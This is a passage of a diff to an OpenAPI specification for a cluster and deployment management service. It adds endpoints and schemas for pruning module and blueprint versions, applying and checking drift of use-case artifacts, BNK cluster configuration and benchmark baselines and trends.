} + } + } + }, + "422": { + "description": "Validation Error", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/HTTPValidationError" + } + } + } + } + } + } + }, "/api/project-modules/project/{project_id}/deployments": { "get": { "tags": [ @@ -14546,7 +15179,9 @@ "description": "Successful Response", "content": { "application/json": { - "schema": {} + "schema": { + "$ref": "#/components/schemas/ClusterDriftStatusResponse" + } } } }, @@ -16354,7 +16989,9 @@ "description": "Successful Response", "content": { "application/json": { - "schema": {} + "schema": { + "$ref": "#/components/schemas/ContainerRegistryTestResponse" + } } } }, @@ -18039,6 +18676,59 @@ } } }, + "/api/module-sources/{source_id}/prune": { + "post": { + "tags": [ + "module-sources" + ], + "summary": "Prune Module Source Versions", + "description": "Retire superseded module versions for this source.\n\nD-033 adds an immutable row per (source, path, version) and never removes\none, so a source under active development accumulates every version it has\never had. Until now the only way back was to delete the source and\nre-register it, which discards its configuration and every blueprint release\nalongside it.\n\nDeactivating (the default) hides a version and stops it competing for\nis_latest while leaving the row resolvable for anything pinned to it.\n`delete` removes rows outright, and only ever those nothing references \u2014\na pinned version is deactivated instead, because a prune must not break a\nrunning deployment.", + "operationId": "prune_module_source_versions_api_module_sources__source_id__prune_post", + "parameters": [ + { + "name": "source_id", + "in": "path", + "required": true, + "schema": { + "type": "integer", + "title": "Source Id" + } + } + ], + "requestBody": { + "required": true, + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/PruneRequest" + } + } + } + }, + "responses": { + "200": { + "description": "Successful Response", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/PruneResponse" + } + } + } + }, + "422": { + "description": "Validation Error", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/HTTPValidationError" + } + } + } + } + } + } + }, "/api/blueprint-catalog/sources": { "get": { "tags": [ @@ -18755,6 +19445,59 @@ } } }, + "/api/blueprint-catalog/sources/{source_id}/prune": { + "post": { + "tags": [ + "blueprint-catalog" + ], + "summary": "Prune Blueprint Source Releases", + "description": "Retire superseded blueprint releases for this source.\n\nEvery edit to a blueprint adds an immutable release, so a source under\ndevelopment ends up serving a version picker full of history. Deactivating\n(the default) hides a release without discarding it. `delete` removes rows\noutright and only ever those nothing was deployed from \u2014 a release a\nStackInstance points at is deactivated instead, because that FK is\nON DELETE SET NULL and deleting would silently strip the stack of the record\nof what it was built from.", + "operationId": "prune_blueprint_source_releases_api_blueprint_catalog_sources__source_id__prune_post", + "parameters": [ + { + "name": "source_id", + "in": "path", + "required": true, + "schema": { + "type": "integer", + "title": "Source Id" + } + } + ], + "requestBody": { + "required": true, + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/PruneRequest" + } + } + } + }, + "responses": { + "200": { + "description": "Successful Response", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/PruneResponse" + } + } + } + }, + "422": { + "description": "Validation Error", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/HTTPValidationError" + } + } + } + } + } + } + }, "/api/registry/search": { "get": { "tags": [ @@ -20037,7 +20780,7 @@ "stacks" ], "summary": "Deploy Stack", - "description": "Start stack deployment.", + "description": "Start stack deployment. Accepts optional deployable_release_id for BNK/bare-metal blueprints.", "operationId": "deploy_stack_api_stacks_projects__project_id__stacks__stack_id__deploy_post", "parameters": [ { @@ -20059,6 +20802,16 @@ } } ], + "requestBody": { + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/DeployStackRequest", + "default": {} + } + } + } + }, "responses": { "200": { "description": "Successful Response", @@ -20087,7 +20840,7 @@ "stacks" ], "summary": "Run Stack Deployment", - "description": "Deploy all stack modules (init + apply).", + "description": "Deploy all stack modules (init + apply). Accepts optional deployable_release_id for BNK/bare-metal blueprints.", "operationId": "run_stack_deployment_api_stacks_projects__project_id__stacks__stack_id__run_deploy_post", "parameters": [ { @@ -20109,6 +20862,16 @@ } } ], + "requestBody": { + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/DeployStackRequest", + "default": {} + } + } + } + }, "responses": { "200": { "description": "Successful Response", @@ -23536,14 +24299,14 @@ } } }, - "/api/k8s/clusters/{cluster_id}/bnk/upgrade/versions": { - "get": { + "/api/clusters/{cluster_id}/usecase-artifacts/capture": { + "post": { "tags": [ - "bnk-upgrade" + "usecase-artifacts" ], - "summary": "Get Available Versions", - "description": "List available BNK versions for upgrade.\n\nReturns known FLO chart versions with compatibility info.", - "operationId": "get_available_versions_api_k8s_clusters__cluster_id__bnk_upgrade_versions_get", + "summary": "Capture Artifact", + "description": "Capture F5SPKVlan CRs from a cluster into a versioned use-case artifact.", + "operationId": "capture_artifact_api_clusters__cluster_id__usecase_artifacts_capture_post", "parameters": [ { "name": "cluster_id", @@ -23555,12 +24318,24 @@ } } ], + "requestBody": { + "required": true, + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/UseCaseCaptureRequest" + } + } + } + }, "responses": { "200": { "description": "Successful Response", "content": { "application/json": { - "schema": {} + "schema": { + "$ref": "#/components/schemas/UseCaseCaptureResponse" + } } } }, @@ -23577,14 +24352,14 @@ } } }, - "/api/k8s/clusters/{cluster_id}/bnk/upgrade/current": { - "get": { + "/api/clusters/{cluster_id}/usecase-artifact-versions/{version_id}/apply": { + "post": { "tags": [ - "bnk-upgrade" + "usecase-artifacts" ], - "summary": "Get Current Version", - "description": "Get current BNK version and health info from cluster.", - "operationId": "get_current_version_api_k8s_clusters__cluster_id__bnk_upgrade_current_get", + "summary": "Apply Artifact", + "description": "Render a use-case artifact version and apply it to a cluster via the shared write path.", + "operationId": "apply_artifact_api_clusters__cluster_id__usecase_artifact_versions__version_id__apply_post", "parameters": [ { "name": "cluster_id", @@ -23594,14 +24369,35 @@ "type": "integer", "title": "Cluster Id" } + }, + { + "name": "version_id", + "in": "path", + "required": true, + "schema": { + "type": "integer", + "title": "Version Id" + } } ], + "requestBody": { + "required": true, + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/UseCaseApplyRequest" + } + } + } + }, "responses": { "200": { "description": "Successful Response", "content": { "application/json": { - "schema": {} + "schema": { + "$ref": "#/components/schemas/UseCaseApplyResponse" + } } } }, @@ -23618,14 +24414,14 @@ } } }, - "/api/k8s/clusters/{cluster_id}/bnk/upgrade/plan": { + "/api/clusters/{cluster_id}/usecase-artifact-versions/{version_id}/drift": { "post": { "tags": [ - "bnk-upgrade" + "usecase-artifacts" ], - "summary": "Create Upgrade Plan", - "description": "Create a new upgrade plan.\n\nRuns pre-upgrade validation (health checks, version compatibility,\nprerequisite checks) and generates an ordered upgrade plan.\n\nReturns the plan with status 'ready' if all checks pass,\nor 'failed' with details of what failed.", - "operationId": "create_upgrade_plan_api_k8s_clusters__cluster_id__bnk_upgrade_plan_post", + "summary": "Drift Artifact", + "description": "Render desired-state from a use-case artifact version and diff against the live cluster.", + "operationId": "drift_artifact_api_clusters__cluster_id__usecase_artifact_versions__version_id__drift_post", "parameters": [ { "name": "cluster_id", @@ -23635,6 +24431,15 @@ "type": "integer", "title": "Cluster Id" } + }, + { + "name": "version_id", + "in": "path", + "required": true, + "schema": { + "type": "integer", + "title": "Version Id" + } } ], "requestBody": { @@ -23642,7 +24447,7 @@ "content": { "application/json": { "schema": { - "$ref": "#/components/schemas/CreateUpgradePlanRequest" + "$ref": "#/components/schemas/UseCaseDriftRequest" } } } @@ -23652,7 +24457,9 @@ "description": "Successful Response", "content": { "application/json": { - "schema": {} + "schema": { + "$ref": "#/components/schemas/UseCaseDriftResponse" + } } } }, @@ -23669,14 +24476,14 @@ } } }, - "/api/k8s/clusters/{cluster_id}/bnk/upgrade/{upgrade_id}/execute": { - "post": { + "/api/k8s/clusters/{cluster_id}/bnk/upgrade/versions": { + "get": { "tags": [ "bnk-upgrade" ], - "summary": "Execute Upgrade", - "description": "Start executing an approved upgrade plan.\n\nDispatches to a Celery task for async execution with streaming output.\nReturns immediately with the upgrade status and celery task ID.", - "operationId": "execute_upgrade_api_k8s_clusters__cluster_id__bnk_upgrade__upgrade_id__execute_post", + "summary": "Get Available Versions", + "description": "List available BNK versions for upgrade.\n\nReturns known FLO chart versions with compatibility info.", + "operationId": "get_available_versions_api_k8s_clusters__cluster_id__bnk_upgrade_versions_get", "parameters": [ { "name": "cluster_id", @@ -23686,15 +24493,6 @@ "type": "integer", "title": "Cluster Id" } - }, - { - "name": "upgrade_id", - "in": "path", - "required": true, - "schema": { - "type": "integer", - "title": "Upgrade Id" - } } ], "responses": { @@ -23719,14 +24517,14 @@ } } }, - "/api/k8s/clusters/{cluster_id}/bnk/upgrade/{upgrade_id}/rollback": { - "post": { + "/api/k8s/clusters/{cluster_id}/bnk/upgrade/current": { + "get": { "tags": [ "bnk-upgrade" ], - "summary": "Rollback Upgrade", - "description": "Roll back a failed upgrade to the previous version.\n\nDispatches to a Celery task for async execution.", - "operationId": "rollback_upgrade_api_k8s_clusters__cluster_id__bnk_upgrade__upgrade_id__rollback_post", + "summary": "Get Current Version", + "description": "Get current BNK version and health info from cluster.", + "operationId": "get_current_version_api_k8s_clusters__cluster_id__bnk_upgrade_current_get", "parameters": [ { "name": "cluster_id", @@ -23736,15 +24534,157 @@ "type": "integer", "title": "Cluster Id" } - }, - { - "name": "upgrade_id", - "in": "path", - "required": true, - "schema": { - "type": "integer", - "title": "Upgrade Id" - } + } + ], + "responses": { + "200": { + "description": "Successful Response", + "content": { + "application/json": { + "schema": {} + } + } + }, + "422": { + "description": "Validation Error", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/HTTPValidationError" + } + } + } + } + } + } + }, + "/api/k8s/clusters/{cluster_id}/bnk/upgrade/plan": { + "post": { + "tags": [ + "bnk-upgrade" + ], + "summary": "Create Upgrade Plan", + "description": "Create a new upgrade plan.\n\nRuns pre-upgrade validation (health checks, version compatibility,\nprerequisite checks) and generates an ordered upgrade plan.\n\nReturns the plan with status 'ready' if all checks pass,\nor 'failed' with details of what failed.", + "operationId": "create_upgrade_plan_api_k8s_clusters__cluster_id__bnk_upgrade_plan_post", + "parameters": [ + { + "name": "cluster_id", + "in": "path", + "required": true, + "schema": { + "type": "integer", + "title": "Cluster Id" + } + } + ], + "requestBody": { + "required": true, + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/CreateUpgradePlanRequest" + } + } + } + }, + "responses": { + "200": { + "description": "Successful Response", + "content": { + "application/json": { + "schema": {} + } + } + }, + "422": { + "description": "Validation Error", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/HTTPValidationError" + } + } + } + } + } + } + }, + "/api/k8s/clusters/{cluster_id}/bnk/upgrade/{upgrade_id}/execute": { + "post": { + "tags": [ + "bnk-upgrade" + ], + "summary": "Execute Upgrade", + "description": "Start executing an approved upgrade plan.\n\nDispatches to a Celery task for async execution with streaming output.\nReturns immediately with the upgrade status and celery task ID.", + "operationId": "execute_upgrade_api_k8s_clusters__cluster_id__bnk_upgrade__upgrade_id__execute_post", + "parameters": [ + { + "name": "cluster_id", + "in": "path", + "required": true, + "schema": { + "type": "integer", + "title": "Cluster Id" + } + }, + { + "name": "upgrade_id", + "in": "path", + "required": true, + "schema": { + "type": "integer", + "title": "Upgrade Id" + } + } + ], + "responses": { + "200": { + "description": "Successful Response", + "content": { + "application/json": { + "schema": {} + } + } + }, + "422": { + "description": "Validation Error", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/HTTPValidationError" + } + } + } + } + } + } + }, + "/api/k8s/clusters/{cluster_id}/bnk/upgrade/{upgrade_id}/rollback": { + "post": { + "tags": [ + "bnk-upgrade" + ], + "summary": "Rollback Upgrade", + "description": "Roll back a failed upgrade to the previous version.\n\nDispatches to a Celery task for async execution.", + "operationId": "rollback_upgrade_api_k8s_clusters__cluster_id__bnk_upgrade__upgrade_id__rollback_post", + "parameters": [ + { + "name": "cluster_id", + "in": "path", + "required": true, + "schema": { + "type": "integer", + "title": "Cluster Id" + } + }, + { + "name": "upgrade_id", + "in": "path", + "required": true, + "schema": { + "type": "integer", + "title": "Upgrade Id" + } } ], "responses": { @@ -26265,6 +27205,84 @@ } } }, + "/api/benchmarks/runs/{run_id}/baseline": { + "post": { + "summary": "Set Benchmark Run Baseline", + "description": "Mark a completed run as the baseline for its (target, scenario/config) context.\n\nClears any previous baseline in that same context \u2014 one baseline per context.", + "operationId": "set_benchmark_run_baseline_api_benchmarks_runs__run_id__baseline_post", + "parameters": [ + { + "name": "run_id", + "in": "path", + "required": true, + "schema": { + "type": "integer", + "title": "Run Id" + } + } + ], + "responses": { + "200": { + "description": "Successful Response", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/BenchmarkRunResponse" + } + } + } + }, + "422": { + "description": "Validation Error", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/HTTPValidationError" + } + } + } + } + } + }, + "delete": { + "summary": "Unset Benchmark Run Baseline", + "description": "Clear the baseline flag on a run.", + "operationId": "unset_benchmark_run_baseline_api_benchmarks_runs__run_id__baseline_delete", + "parameters": [ + { + "name": "run_id", + "in": "path", + "required": true, + "schema": { + "type": "integer", + "title": "Run Id" + } + } + ], + "responses": { + "200": { + "description": "Successful Response", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/BenchmarkRunResponse" + } + } + } + }, + "422": { + "description": "Validation Error", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/HTTPValidationError" + } + } + } + } + } + } + }, "/api/benchmarks/agents": { "get": { "summary": "List Benchmark Agents", @@ -26795,6 +27813,113 @@ } } }, + "/api/benchmarks/trends": { + "get": { + "summary": "Get Benchmark Trends", + "description": "Time-ordered completed-run metrics for a target/proxy/scenario/config context,\nwith the current baseline (if any) always included.", + "operationId": "get_benchmark_trends_api_benchmarks_trends_get", + "parameters": [ + { + "name": "target_id", + "in": "query", + "required": false, + "schema": { + "anyOf": [ + { + "type": "integer" + }, + { + "type": "null" + } + ], + "title": "Target Id" + } + }, + { + "name": "proxy", + "in": "query", + "required": false, + "schema": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Proxy" + } + }, + { + "name": "scenario_key", + "in": "query", + "required": false, + "schema": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Scenario Key" + } + }, + { + "name": "config_id", + "in": "query", + "required": false, + "schema": { + "anyOf": [ + { + "type": "integer" + }, + { + "type": "null" + } + ], + "title": "Config Id" + } + }, + { + "name": "limit", + "in": "query", + "required": false, + "schema": { + "type": "integer", + "maximum": 500, + "minimum": 1, + "default": 50, + "title": "Limit" + } + } + ], + "responses": { + "200": { + "description": "Successful Response", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/BenchmarkTrendsResponse" + } + } + } + }, + "422": { + "description": "Validation Error", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/HTTPValidationError" + } + } + } + } + } + } + }, "/api/benchmarks/targets": { "get": { "summary": "List Benchmark Targets", @@ -29686,6 +30811,19 @@ "title": "AbortMigrationRequest", "description": "Request body for POST .../migrate/{id}/abort." }, + "ActivateReleaseRequest": { + "properties": { + "is_active": { + "type": "boolean", + "title": "Is Active" + } + }, + "type": "object", + "required": [ + "is_active" + ], + "title": "ActivateReleaseRequest" + }, "ActiveProjectResponse": { "properties": { "active": { @@ -30514,9 +31652,41 @@ "BareMetalDeploymentCreate": { "properties": { "host_id": { - "type": "integer", + "anyOf": [ + { + "type": "integer" + }, + { + "type": "null" + } + ], "title": "Host Id" }, + "control_plane_host_id": { + "anyOf": [ + { + "type": "integer" + }, + { + "type": "null" + } + ], + "title": "Control Plane Host Id" + }, + "worker_host_ids": { + "anyOf": [ + { + "items": { + "type": "integer" + }, + "type": "array" + }, + { + "type": "null" + } + ], + "title": "Worker Host Ids" + }, "resume_from_step": { "anyOf": [ { @@ -30560,12 +31730,20 @@ } ], "title": "Selected Steps" + }, + "deployable_release_id": { + "anyOf": [ + { + "type": "integer" + }, + { + "type": "null" + } + ], + "title": "Deployable Release Id" } }, "type": "object", - "required": [ - "host_id" - ], "title": "BareMetalDeploymentCreate" }, "BareMetalDeploymentListResponse": { @@ -31061,6 +32239,17 @@ } ], "title": "Bond Mode" + }, + "net_rshim_mac_base": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Net Rshim Mac Base" } }, "type": "object", @@ -31508,6 +32697,17 @@ ], "title": "Bond Mode" }, + "net_rshim_mac_base": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Net Rshim Mac Base" + }, "has_discovery_result": { "type": "boolean", "title": "Has Discovery Result", @@ -31829,6 +33029,17 @@ } ], "title": "Bond Mode" + }, + "net_rshim_mac_base": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Net Rshim Mac Base" } }, "type": "object", @@ -32310,6 +33521,11 @@ "additionalProperties": true, "type": "object", "title": "Winners" + }, + "context_mismatch": { + "type": "boolean", + "title": "Context Mismatch", + "default": false } }, "type": "object", @@ -32349,6 +33565,39 @@ ], "title": "Run Label" }, + "config_id": { + "anyOf": [ + { + "type": "integer" + }, + { + "type": "null" + } + ], + "title": "Config Id" + }, + "scenario_key": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Scenario Key" + }, + "variant_label": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Variant Label" + }, "status": { "type": "string", "title": "Status" @@ -33121,6 +34370,17 @@ ], "title": "Proxy Deployment Id" }, + "scenario_key": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Scenario Key" + }, "status": { "type": "string", "title": "Status" @@ -33136,6 +34396,33 @@ ], "title": "Error Message" }, + "is_baseline": { + "type": "boolean", + "title": "Is Baseline", + "default": false + }, + "baseline_latency_p99": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "null" + } + ], + "title": "Baseline Latency P99" + }, + "baseline_overall_rps": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "null" + } + ], + "title": "Baseline Overall Rps" + }, "duration_seconds": { "anyOf": [ { @@ -33491,6 +34778,17 @@ ], "title": "Proxy Deployment Id" }, + "scenario_key": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Scenario Key" + }, "status": { "type": "string", "title": "Status" @@ -33506,6 +34804,33 @@ ], "title": "Error Message" }, + "is_baseline": { + "type": "boolean", + "title": "Is Baseline", + "default": false + }, + "baseline_latency_p99": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "null" + } + ], + "title": "Baseline Latency P99" + }, + "baseline_overall_rps": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "null" + } + ], + "title": "Baseline Overall Rps" + }, "duration_seconds": { "anyOf": [ { @@ -34253,6 +35578,156 @@ "title": "BenchmarkTargetUpdate", "description": "Update a benchmark target." }, + "BenchmarkTrendPoint": { + "properties": { + "id": { + "type": "integer", + "title": "Id" + }, + "run_label": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Run Label" + }, + "created_at": { + "type": "string", + "format": "date-time", + "title": "Created At" + }, + "is_baseline": { + "type": "boolean", + "title": "Is Baseline" + }, + "latency_p50": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "null" + } + ], + "title": "Latency P50" + }, + "latency_p99": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "null" + } + ], + "title": "Latency P99" + }, + "overall_rps": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "null" + } + ], + "title": "Overall Rps" + }, + "peak_rps": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "null" + } + ], + "title": "Peak Rps" + }, + "success_rate_pct": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "null" + } + ], + "title": "Success Rate Pct" + }, + "tokens_per_sec": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "null" + } + ], + "title": "Tokens Per Sec" + }, + "total_output_tokens": { + "anyOf": [ + { + "type": "integer" + }, + { + "type": "null" + } + ], + "title": "Total Output Tokens" + } + }, + "type": "object", + "required": [ + "id", + "run_label", + "created_at", + "is_baseline", + "latency_p50", + "latency_p99", + "overall_rps", + "peak_rps", + "success_rate_pct", + "tokens_per_sec", + "total_output_tokens" + ], + "title": "BenchmarkTrendPoint", + "description": "One time-series point for the Trends view." + }, + "BenchmarkTrendsResponse": { + "properties": { + "points": { + "items": { + "$ref": "#/components/schemas/BenchmarkTrendPoint" + }, + "type": "array", + "title": "Points" + }, + "baseline_run_id": { + "anyOf": [ + { + "type": "integer" + }, + { + "type": "null" + } + ], + "title": "Baseline Run Id" + } + }, + "type": "object", + "required": [ + "points", + "baseline_run_id" + ], + "title": "BenchmarkTrendsResponse", + "description": "Time-ordered (oldest-first) completed-run metrics for a target/proxy/scenario/config\ncontext, plus the current baseline run id (included in points even if outside limit)." + }, "BfConfTemplateCreate": { "properties": { "name": { @@ -34694,6 +36169,13 @@ ], "title": "Notes" }, + "url_warnings": { + "items": { + "type": "string" + }, + "type": "array", + "title": "Url Warnings" + }, "created_at": { "type": "string", "format": "date-time", @@ -35598,6 +37080,188 @@ "type": "object", "title": "BlueprintSourceUpdate" }, + "BnkClusterConfigCreateRequest": { + "properties": { + "tmfifo_pool_cidr": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Tmfifo Pool Cidr", + "description": "Cluster-wide tmfifo pool CIDR (omit to keep current)" + }, + "join_transport": { + "anyOf": [ + { + "type": "string", + "enum": [ + "rshim", + "mgmt" + ] + }, + { + "type": "null" + } + ], + "title": "Join Transport", + "description": "Join transport type ('rshim' or 'mgmt'; omit to keep current)" + }, + "control_plane_host_id": { + "anyOf": [ + { + "type": "integer" + }, + { + "type": "null" + } + ], + "title": "Control Plane Host Id", + "description": "ID of designated Control Plane host" + } + }, + "type": "object", + "title": "BnkClusterConfigCreateRequest" + }, + "BnkClusterConfigSummary": { + "properties": { + "id": { + "type": "integer", + "title": "Id" + }, + "cluster_id": { + "type": "integer", + "title": "Cluster Id" + }, + "tmfifo_pool_cidr": { + "type": "string", + "title": "Tmfifo Pool Cidr", + "default": "192.168.100.0/22" + }, + "join_transport": { + "type": "string", + "title": "Join Transport", + "default": "rshim" + }, + "control_plane_host_id": { + "anyOf": [ + { + "type": "integer" + }, + { + "type": "null" + } + ], + "title": "Control Plane Host Id" + }, + "host_ids": { + "items": { + "type": "integer" + }, + "type": "array", + "title": "Host Ids", + "description": "IDs of hosts currently in this cluster" + }, + "dpu_ids": { + "items": { + "type": "integer" + }, + "type": "array", + "title": "Dpu Ids", + "description": "IDs of DPUs currently in this cluster" + } + }, + "type": "object", + "required": [ + "id", + "cluster_id" + ], + "title": "BnkClusterConfigSummary" + }, + "BnkClusterMemberAssignRequest": { + "properties": { + "control_plane_host_id": { + "type": "integer", + "title": "Control Plane Host Id", + "description": "ID of designated Control Plane host" + }, + "host_ids": { + "items": { + "type": "integer" + }, + "type": "array", + "title": "Host Ids", + "description": "IDs of member bare-metal hosts" + }, + "dpu_ids": { + "items": { + "type": "integer" + }, + "type": "array", + "title": "Dpu Ids", + "description": "IDs of member DPUs" + }, + "tmfifo_pool_cidr": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Tmfifo Pool Cidr", + "description": "Cluster-wide tmfifo pool CIDR (omit to keep current)" + } + }, + "type": "object", + "required": [ + "control_plane_host_id" + ], + "title": "BnkClusterMemberAssignRequest" + }, + "BnkClusterMemberAssignResponse": { + "properties": { + "cluster_id": { + "type": "integer", + "title": "Cluster Id" + }, + "control_plane_host_id": { + "type": "integer", + "title": "Control Plane Host Id" + }, + "host_ids": { + "items": { + "type": "integer" + }, + "type": "array", + "title": "Host Ids" + }, + "assigned_dpus": { + "items": { + "additionalProperties": true, + "type": "object" + }, + "type": "array", + "title": "Assigned Dpus" + }, + "bnk_config": { + "$ref": "#/components/schemas/BnkClusterConfigSummary" + } + }, + "type": "object", + "required": [ + "cluster_id", + "control_plane_host_id", + "host_ids", + "assigned_dpus", + "bnk_config" + ], + "title": "BnkClusterMemberAssignResponse" + }, "BnkReleaseListResponse": { "properties": { "releases": { @@ -35647,151 +37311,6 @@ ], "title": "BnkReleaseSyncResponse" }, - "BnkVersionProfileListResponse": { - "properties": { - "profiles": { - "items": { - "$ref": "#/components/schemas/BnkVersionProfileResponse" - }, - "type": "array", - "title": "Profiles" - } - }, - "type": "object", - "required": [ - "profiles" - ], - "title": "BnkVersionProfileListResponse" - }, - "BnkVersionProfileResponse": { - "properties": { - "id": { - "type": "integer", - "title": "Id" - }, - "name": { - "type": "string", - "title": "Name" - }, - "display_name": { - "type": "string", - "title": "Display Name" - }, - "description": { - "anyOf": [ - { - "type": "string" - }, - { - "type": "null" - } - ], - "title": "Description" - }, - "is_default": { - "type": "boolean", - "title": "Is Default" - }, - "bnk_manifest_version": { - "type": "string", - "title": "Bnk Manifest Version" - }, - "bnk_cr_kind": { - "type": "string", - "title": "Bnk Cr Kind" - }, - "flo_version": { - "type": "string", - "title": "Flo Version" - }, - "k8s_version": { - "type": "string", - "title": "K8S Version" - }, - "doca_version": { - "type": "string", - "title": "Doca Version" - }, - "containerd_version": { - "type": "string", - "title": "Containerd Version" - }, - "runc_version": { - "type": "string", - "title": "Runc Version" - }, - "calico_version": { - "type": "string", - "title": "Calico Version" - }, - "cert_manager_version": { - "type": "string", - "title": "Cert Manager Version" - }, - "gateway_api_version": { - "type": "string", - "title": "Gateway Api Version" - }, - "multus_version": { - "type": "string", - "title": "Multus Version" - }, - "sriov_version": { - "type": "string", - "title": "Sriov Version" - }, - "storage_class_type": { - "type": "string", - "title": "Storage Class Type" - }, - "storage_provisioner": { - "type": "string", - "title": "Storage Provisioner" - }, - "feature_flags": { - "anyOf": [ - { - "additionalProperties": true, - "type": "object" - }, - { - "type": "null" - } - ], - "title": "Feature Flags" - }, - "created_at": { - "type": "string", - "format": "date-time", - "title": "Created At" - } - }, - "type": "object", - "required": [ - "id", - "name", - "display_name", - "description", - "is_default", - "bnk_manifest_version", - "bnk_cr_kind", - "flo_version", - "k8s_version", - "doca_version", - "containerd_version", - "runc_version", - "calico_version", - "cert_manager_version", - "gateway_api_version", - "multus_version", - "sriov_version", - "storage_class_type", - "storage_provisioner", - "feature_flags", - "created_at" - ], - "title": "BnkVersionProfileResponse" - }, "Body_create_file_secret_api_projects__project_id__secrets_file_post": { "properties": { "file": { @@ -37349,6 +38868,28 @@ ], "title": "Meta Data" }, + "deployable_release_id": { + "anyOf": [ + { + "type": "integer" + }, + { + "type": "null" + } + ], + "title": "Deployable Release Id" + }, + "running_release_id": { + "anyOf": [ + { + "type": "integer" + }, + { + "type": "null" + } + ], + "title": "Running Release Id" + }, "last_synced_at": { "anyOf": [ { @@ -37391,6 +38932,73 @@ "title": "ClusterDetailResponse", "description": "Response for GET /api/k8s/clusters/{id}." }, + "ClusterDriftStatusResponse": { + "properties": { + "cluster_id": { + "type": "integer", + "title": "Cluster Id" + }, + "project_id": { + "anyOf": [ + { + "type": "integer" + }, + { + "type": "null" + } + ], + "title": "Project Id" + }, + "drift_enabled": { + "type": "boolean", + "title": "Drift Enabled" + }, + "total_modules": { + "type": "integer", + "title": "Total Modules" + }, + "modules_with_drift": { + "type": "integer", + "title": "Modules With Drift" + }, + "modules_ok": { + "type": "integer", + "title": "Modules Ok" + }, + "modules_unchecked": { + "type": "integer", + "title": "Modules Unchecked" + }, + "overall_status": { + "type": "string", + "title": "Overall Status" + }, + "module_statuses": { + "items": { + "$ref": "#/components/schemas/ModuleDriftStatus" + }, + "type": "array", + "title": "Module Statuses" + }, + "release_drift": { + "$ref": "#/components/schemas/ReleaseDrift" + } + }, + "type": "object", + "required": [ + "cluster_id", + "drift_enabled", + "total_modules", + "modules_with_drift", + "modules_ok", + "modules_unchecked", + "overall_status", + "module_statuses", + "release_drift" + ], + "title": "ClusterDriftStatusResponse", + "description": "Response for GET /api/clusters/{cluster_id}/drift/status." + }, "ClusterEventsResponse": { "properties": { "events": { @@ -37819,6 +39427,16 @@ ], "title": "Enabled Prerequisites" }, + "bnk_config": { + "anyOf": [ + { + "$ref": "#/components/schemas/BnkClusterConfigSummary" + }, + { + "type": "null" + } + ] + }, "node_count": { "anyOf": [ { @@ -37830,6 +39448,28 @@ ], "title": "Node Count" }, + "deployable_release_id": { + "anyOf": [ + { + "type": "integer" + }, + { + "type": "null" + } + ], + "title": "Deployable Release Id" + }, + "running_release_id": { + "anyOf": [ + { + "type": "integer" + }, + { + "type": "null" + } + ], + "title": "Running Release Id" + }, "last_synced_at": { "anyOf": [ { @@ -38468,6 +40108,86 @@ ], "title": "ContainerRegistryResponse" }, + "ContainerRegistryTestResponse": { + "properties": { + "success": { + "type": "boolean", + "title": "Success" + }, + "message": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Message" + }, + "error": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Error" + }, + "type": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Type" + }, + "last_test_status": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Last Test Status" + }, + "last_test_at": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Last Test At" + }, + "last_test_message": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Last Test Message" + } + }, + "type": "object", + "required": [ + "success" + ], + "title": "ContainerRegistryTestResponse", + "description": "Outcome of POST /{id}/test.\n\nMirrors what ContainerRegistryService.test_registry returns: the probe's\nown success/message/error plus the persisted last_test_* fields. Declared\nso the route carries a response_model like its siblings (#79) and the\nshape is visible in OpenAPI instead of only in the service body." + }, "ContainerRegistryUpdate": { "properties": { 